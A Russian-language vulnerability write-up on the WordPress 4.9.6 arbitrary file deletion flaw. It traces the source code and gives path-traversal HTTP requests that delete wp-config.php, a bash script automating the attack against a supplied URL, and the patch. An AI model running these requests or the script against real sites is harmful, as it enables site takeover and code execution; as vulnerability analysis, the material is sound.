Удаленное удаление. Как захватить контроль над WordPress, заставив его стереть файл

Удаленное удаление. Как захватить контроль над WordPress, заставив его стереть файл

Эксплойт

В WordPress, самой популярной в мире системе публикации, была обнаружена серьезная уязвимость. Она позволяет в пару запросов удалить любой файл, доступный для записи пользователю, от которого работает PHP, а затем получить контроль над сайтом. В этой статье мы разберемся с причинами и посмотрим, как работает эксплуатация.

Баг был обнаружен еще 20 ноября 2017 года исследователем Славко Михайльоски Slavco Mihajloski из RIPS Tech, но вплоть до версии 4.9.7, которая вышла 5 июня 2018 года, проблема оставалась незапатченной. То есть на протяжении семи месяцев она представляла серьезную угрозу для безопасности на огромном количестве сайтов по всему миру и на многих из них продолжает представлять.


Стенд

Чтобы разобрать уязвимость, нам сначала понадобится уязвимый WordPress. Первым делом ставим контейнер с базой данных.

$ docker run -d --rm -e MYSQL_USER="wpdel" -e MYSQL_PASSWORD="4hicmMRyUq" -e MYSQL_DATABASE="wpdel" --name=mysql --hostname=mysql mysql/mysql-serverТеперь контейнер, на который поставим веб-сервер. На нем будет располагаться WordPress.

$ docker run -it --rm -p80:80 --name=wpdel --hostname=wpdel --link=mysql debian /bin/bashУстановим все нужные пакеты и расширения PHP.

$ apt-get update && apt-get install -y apache2 php php7.0-mysqli php-gd nano wgetУязвима версия CMS под номером 4.9.6, ее и скачаем.

$ cd /tmp && wget https://wordpress.org/wordpress-4.9.6.tar.gz $ tar xzf wordpress-4.9.6.tar.gz $ rm -rf /var/www/html/* && mv wordpress/* /var/www/html/ $ chown -R www-data:www-data /var/www/html/Запускаем сервис apache2.

$ service apache2 startТеперь устанавливаем WordPress, используем наш MySQL-сервер в качестве БД.

Инсталляция WordPress 4.9.6

Инсталляция WordPress 4.9.6Уязвим механизм удаления загруженных файлов, поэтому для успешной эксплуатации юзер должен иметь привилегии на удаление медиа. Создадим такого пользователя.

Создание пользователя с привилегиями добавления медиафайлов в WordPress 4.9.6

 Создание пользователя с привилегиями добавления медиафайлов в WordPress 4.9.6 


Анализ уязвимости

В WordPress, как и в любой уважающей себя CMS, можно загружать произвольные файлы и встраивать их в публикуемые посты. Самый очевидный способ применения — это добавление фотографий. Если файл загруженной картинки больше установленных в настройках размеров, то для него создаются миниатюры (thumbnails). Самую мелкую из них можно увидеть при нажатии на кнопку редактирования картинки (в закладке медиа в разделе Thumbnail Settings).

Редактирование загруженной картинки в WordPress

Редактирование загруженной картинки в WordPressЗаглянем в файл post.php, где находится кусок кода, ответственный за редактирование любой записи в системе. Да, аттачи тоже считаются записями.

/wordpress/wp-admin/post.php

33: if ( $post_id ) 34: $post = get_post( $post_id ); ... 62: switch($action) {В переменной $action находится действие из запроса, которое нужно выполнить. Оператор switch перенаправляет выполнение скрипта в нужную часть кода. Вот, к примеру, запрос на редактирование конкретной записи.

GET /wp-admin/post.php?post=25&action=edit HTTP/1.1 Host: wpdel.visualhack User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7,bg;q=0.6,uk;q=0.5,hu;q=0.4При его обработке исполняется следующий кусок кода:

062: switch($action) { ... 098: case 'edit': 099: $editing = true; ... 122: if ( ! empty( $_GET['get-post-lock'] ) ) { 123: check_admin_referer( 'lock-post_' . $post_id ); 124: wp_set_post_lock( $post_id ); 125: wp_redirect( get_edit_post_link( $post_id, 'url' ) ); 126: exit(); 127: } 128: 129: $post_type = $post->post_type; 130: if ( 'post' == $post_type ) { 131: $parent_file = "edit.php"; 132: $submenu_file = "edit.php"; 133: $post_new_file = "post-new.php"; 134: } elseif ( 'attachment' == $post_type ) { 135: $parent_file = 'upload.php'; 136: $submenu_file = 'upload.php'; 137: $post_new_file = 'media-new.php'; 138: } else { 139: if ( isset( $post_type_object ) && $post_type_object->show_in_menu && $post_type_object->show_in_menu !== true ) 140: $parent_file = $post_type_object->show_in_menu; 141: else 142: $parent_file = "edit.php?post_type=$post_type"; 143: $submenu_file = "edit.php?post_type=$post_type"; 144: $post_new_file = "post-new.php?post_type=$post_type"; 145: } 146: ... 174: include( ABSPATH . 'wp-admin/edit-form-advanced.php' ); 175: 176: break;Погуляв немного по этой ветке кода, можно обнаружить довольно любопытный экшен.

178: case 'editattachment': 179: check_admin_referer('update-post_' . $post_id); 180: 181: // Don’t let these be changed 182: unset($_POST['guid']); 183: $_POST['post_type'] = 'attachment'; 184: 185: // Update the thumbnail filename 186: $newmeta = wp_get_attachment_metadata( $post_id, true ); 187: $newmeta['thumb'] = $_POST['thumb']; 188: 189: wp_update_attachment_metadata( $post_id, $newmeta );Особенно интересен раздел Update the thumbnail filename. Переменная $newmeta содержит метаданные записи с указанным id. Ключ thumb содержит путь до миниатюры, и его значение можно изменить с помощью параметра thumb в POST-запросе. Эти данные уходят в функцию wp_update_attachment_metadata, которая расположилась чуть ниже в этом же файле.

5138: function wp_update_attachment_metadata( $attachment_id, $data ) { 5139: $attachment_id = (int) $attachment_id; 5140: if ( ! $post = get_post( $attachment_id ) ) { 5141: return false; 5142: } ... 5152: if ( $data = apply_filters( 'wp_update_attachment_metadata', $data, $post->ID ) ) 5153: return update_post_meta( $post->ID, '_wp_attachment_metadata', $data );После успешного применения фильтра с аналогичным функции названием выполнение передается в update_post_meta.

1858: function update_post_meta( $post_id, $meta_key, $meta_value, $prev_value = '' ) { 1859: // Make sure meta is added to the post, not a revision 1860: if ( $the_post = wp_is_post_revision($post_id) ) 1861: $post_id = $the_post; 1862: 1863: $updated = update_metadata( 'post', $post_id, $meta_key, $meta_value, $prev_value );Дальше вызывается функция update_metadata, которая выполняет сохранение переданных данных в базу.

/wordpress/wp-includes/meta.php

143: function update_metadata($meta_type, $object_id, $meta_key, $meta_value, $prev_value = '') { 144: global $wpdb; ... 200: $meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $id_column FROM $table WHERE meta_key = %s AND $column = %d", $meta_key, $object_id ) ); 201: if ( empty( $meta_ids ) ) { 202: return add_metadata( $meta_type, $object_id, $raw_meta_key, $passed_value ); 203: } ... 247: $result = $wpdb->update( $table, $data, $where ); 248: if ( ! $result ) 249: return false;Попробуем отправить запрос и посмотреть, запишется ли настройка в базу данных.

Как ты, наверное, знаешь, в WordPress присутствует защита от CSRF, которая сводится к использованию параметра _wpnonce в каждом запросе. Валидный можно взять на странице редактирования записи.

ID нашей загруженной картинки — 26, поэтому запрос будет иметь следующий вид.

POST /wp-admin/post.php?post=26 HTTP/1.1 Host: wpdel.visualhack Content-Length: 68 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: http://wpdel.visualhack/wp-admin/post.php?post=26&action=edit Cookie: <валидные_куки> post_id=26&thumb=test/this&action=editattachment&_wpnonce=<валидный_токен>

Отправка тестового запроса на экшен editattachmentПосле этого заглянем в таблицу wp_postmeta и убедимся, что переданный параметр записался.

Отправка тестового запроса на экшен editattachment
Записали атрибут thumb в метаданные загруженного файла

 Записали атрибут thumb в метаданные загруженного файлаТеперь посмотрим, что происходит при удалении нашей картинки. Запрос на удаление обрабатывается той же веткой со switch, за это отвечает экшен delete.

/wordpress/wp-admin/post.php

246: case 'delete': ... 258: if ( $post->post_type == 'attachment' ) { 259: $force = ( ! MEDIA_TRASH ); 260: if ( ! wp_delete_attachment( $post_id, $force ) ) 261: wp_die( __( 'Error in deleting.' ) );Если удаляемая запись является загруженным файлом, то выполняется wp_delete_attachment.

4993: function wp_delete_attachment( $post_id, $force_delete = false ) { 4994: global $wpdb; ... 5015: $meta = wp_get_attachment_metadata( $post_id ); ... 5061: if ( ! empty($meta['thumb']) ) { 5062: // Don’t delete the thumb if another attachment uses it 5063: if (! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%' . $wpdb->esc_like( $meta['thumb'] ) . '%', $post_id)) ) { 5064: $thumbfile = str_replace(basename($file), $meta['thumb'], $file); 5065: /** This filter is documented in wp-includes/functions.php */ 5066: $thumbfile = apply_filters( 'wp_delete_file', $thumbfile ); 5067: @ unlink( path_join($uploadpath['basedir'], $thumbfile) ); 5068: } 5069: }Итак, если thumb установлен, то, помимо самих файлов с картинками, удаляется файл, путь до которого указан в thumb. То есть мы можем передать путь до произвольного файла и воспользоваться этим механизмом, чтобы удалить его.

По умолчанию файлы складываются в /wp-content/uploads/<год>/<месяц>/, где год и месяц зависят от времени загрузки файла. Это и есть та директория, от которой нужно отталкиваться. Таким образом, путь ../../../../ приведет нас в корневую директорию установленного WordPress. А что интересного у нас в ней находится? Правильно, файл wp-config.php. Если удалить его, то система будет думать, что мы еще не выполнили установку CMS.

Попробуем это провернуть. Сначала сохраняем путь до файла в базе данных.

POST /wp-admin/post.php?post=26 HTTP/1.1 Host: wpdel.visualhack Content-Length: 68 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: http://wpdel.visualhack/wp-admin/post.php?post=26&action=edit Cookie: <валидные_куки> post_id=26&thumb=../../../../wp-config.php&action=editattachment&_wpnonce=<валидный_токен>А теперь нажимаем на кнопку удаления аттача, и — бам! — нас перекидывает на страницу установки WordPress. Так как этот параметр абсолютно никак не проверялся и не фильтровался, файл был успешно удален.

Дальше уже можно включить воображение. Например, выполнить установку, указав свой сервер в качестве базы данных. Тогда ты получишь привилегии администратора в CMS, а там уже прямая дорога до RCE через встроенное редактирование файлов.

Я накидал небольшой (и не слишком красивый) скриптик на bash, который автоматизирует всю работу. В качестве параметров передаем URL WordPress, логин и пароль нужного пользователя.

#!/bin/bash echo 1 > /tmp/nonextfile.doc rm /tmp/wpexplcookies curl -s "$1/wp-login.php" -d "log=$2&pwd=$3&rememberme=forever&wp-submit=Log+In&testcookie=1" -c /tmp/wpexplcookies > /dev/null wpnonce=$(curl -s "$1/wp-admin/media-new.php" -b /tmp/wpexplcookies | grep '"_wpnonce"' | grep -oP 'value="[a-z0-9]{10}"' | grep -oP '[a-z0-9]{10}') attachid=$(curl -s "$1/wp-admin/async-upload.php" -b /tmp/wpexplcookies -F 'html-upload=Upload' -F 'post_id=0' -F "_wpnonce=$wpnonce" -F 'async-upload=@/tmp/nonextfile.doc') wpnonces=$(curl -s "$1/wp-admin/post.php?post=$attachid&action=edit" -b /tmp/wpexplcookies | grep '_wpnonce') wpnonce_edit=$(echo $wpnonces | grep '"_wpnonce"' | grep -oP 'value="[a-z0-9]{10}"' | grep -oP '[a-z0-9]{10}') wpnonce_delete=$(echo $wpnonces | grep -oP 'delete.*' | grep -oP '_wpnonce=[a-z0-9]{10}' | grep -oP '[a-z0-9]{10}') curl -s "$1/wp-admin/post.php?post=$attachid" -b /tmp/wpexplcookies -d "action=editattachment&_wpnonce=$wpnonce_edit&thumb=../../../../wp-config.php" curl -s "$1/wp-admin/post.php?post=$attachid&action=delete&_wpnonce=$wpnonce_delete" -b /tmp/wpexplcookies 


Удаляем файлы. Версия 2.0

После того как ребята из RIPS Tech выложили в паблик детали уязвимости, разработчик плагина Wordfence Мэтт Барри (Matt Barry) обнаружил еще один вариант удаления произвольного файла. Здесь нам нужно обратиться к экшену upload-attachment. Он используется при загрузке файлов с помощью AJAX.

/wordpress/wp-admin/async-upload.php

09: if ( isset( $_REQUEST['action'] ) && 'upload-attachment' === $_REQUEST['action'] ) { 10: define( 'DOING_AJAX', true ); 11: } ... 27: if ( isset( $_REQUEST['action'] ) && 'upload-attachment' === $_REQUEST['action'] ) { 28: include( ABSPATH . 'wp-admin/includes/ajax-actions.php' ); 29: 30: send_nosniff_header(); 31: nocache_headers(); 32: 33: wp_ajax_upload_attachment();Функция wp_ajax_upload_attachment обрабатывает переданный файл и возвращает необходимые данные после его загрузки.

/wordpress/wp-admin/includes/ajax-actions.php

2058: function wp_ajax_upload_attachment() { ... 2066: if ( ! current_user_can( 'upload_files' ) ) { ... 2095: $post_data = isset( $_REQUEST['post_data'] ) ? $_REQUEST['post_data'] : array(); ... 2113: $attachment_id = media_handle_upload( 'async-upload', $post_id, $post_data );Данные, которые передаются в параметре запроса post_data, уходят в функцию media_handle_upload. А затем попадают в wp_insert_attachment в виде аргумента $attachment.

/wordpress/wp-admin/includes/media.php

273: function media_handle_upload($file_id, $post_id, $post_data = array(), $overrides = array( 'test_form' => false )) { ... 368: // Construct the attachment array 369: $attachment = array_merge( array( 370: 'post_mime_type' => $type, 371: 'guid' => $url, 372: 'post_parent' => $post_id, 373: 'post_title' => $title, 374: 'post_content' => $content, 375: 'post_excerpt' => $excerpt, 376: ), $post_data ); ... 382: $id = wp_insert_attachment( $attachment, $file, $post_id, true );В итоге все это оказывается в функции wp_insert_post. Она сохраняет переданные данные в базу.

/wordpress/wp-includes/post.php

4957: function wp_insert_attachment( $args, $file = false, $parent = 0, $wp_error = false ) { ... 4971: return wp_insert_post( $data, $wp_error );Тут есть интересный участок кода.

3103: function wp_insert_post( $postarr, $wp_error = false ) { ... 3493: if ( ! empty( $postarr['meta_input'] ) ) { 3494: foreach ( $postarr['meta_input'] as $field => $value ) { 3495: update_post_meta( $post_ID, $field, $value ); 3496: } 3497: }Здесь данные из meta_input сохраняются в таблицу wp_postmeta, о который мы уже знаем. Еще раз заглянем в нее.

Содержимое таблицы postmeta

Содержимое таблицы postmetaВ _wp_attached_file хранится путь до загруженного файла, и при удалении аттача в CMS файл удаляется из системы.

246: case 'delete': ... 260: if ( ! wp_delete_attachment( $post_id, $force ) ) 4993: function wp_delete_attachment( $post_id, $force_delete = false ) { ... 5017: $file = get_attached_file( $post_id );/wordpress/wp-includes/post.php

331: function get_attached_file( $attachment_id, $unfiltered = false ) { 332: $file = get_post_meta( $attachment_id, '_wp_attached_file', true ); 4993: function wp_delete_attachment( $post_id, $force_delete = false ) { ... 5090: wp_delete_file( $file );/wordpress/wp-includes/functions.php

5492: function wp_delete_file( $file ) { ... 5500: $delete = apply_filters( 'wp_delete_file', $file ); 5501: if ( ! empty( $delete ) ) { 5502: @unlink( $delete ); 5503: }Поэтому для удаления нужного файла в запросе на загрузку передадим путь до него в качестве параметра post_data[meta_input][_wp_attached_file]. На этот раз нужный путь считается от директории /wp-content/uploads/, поэтому указываем ../../wp-config.php.

POST /wp-admin/async-upload.php?post_data[meta_input][_wp_attached_file]=../../wp-config.php HTTP/1.1 Host: wpdel.visualhack Content-Length: 1145 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQJJgtwiCWvSPyaTV Accept: */* Cookie: <валидные_куки> <данные_формы>Результат аналогичен — удаление произвольного файла.

Выводы

В результате отправкой двух запросов уязвимость позволяет любому пользователю с привилегиями автора полностью перехватить контроль над сайтом WordPress и выполнить произвольный код на сервере. Хотя для эксплуатации и требуется учетная запись, но существует огромное количество сайтов, где можно получить такие привилегии, просто зарегистрировавшись. В любом случае этот баг стоит рассматривать как повышение привилегий.

Чтобы не стать жертвой злоумышленников, в срочном порядке обновляйся на новую версию WordPress, где добавили функцию wp_delete_file_from_directory, выполняющую необходимые проверки.

function wp_delete_file_from_directory( $file, $directory ) { $real_file = realpath( wp_normalize_path( $file ) ); $real_directory = realpath( wp_normalize_path( $directory ) ); if ( false === $real_file || false === $real_directory || strpos( wp_normalize_path( $real_file ), trailingslashit( wp_normalize_path( $real_directory ) ) ) !== 0 ) { return false; } wp_delete_file( $file ); return true; }

Если по какой-то причине ты не можешь обновить CMS, то рекомендую воспользоваться временным патчем авторства RIPS Tech.

add_filter( 'wp_update_attachment_metadata', 'rips_unlink_tempfix' ); function rips_unlink_tempfix( $data ) { if( isset($data['thumb']) ) { $data['thumb'] = basename($data['thumb']); } return $data; }

Этот код нужно добавить в файл functions.php твоей текущей темы. Это, конечно же, не гарантирует полную безопасность, так как не учитывает все возможные сценарии атаки. Например, через плагины. Так что настоятельно рекомендую обновиться.

Report Page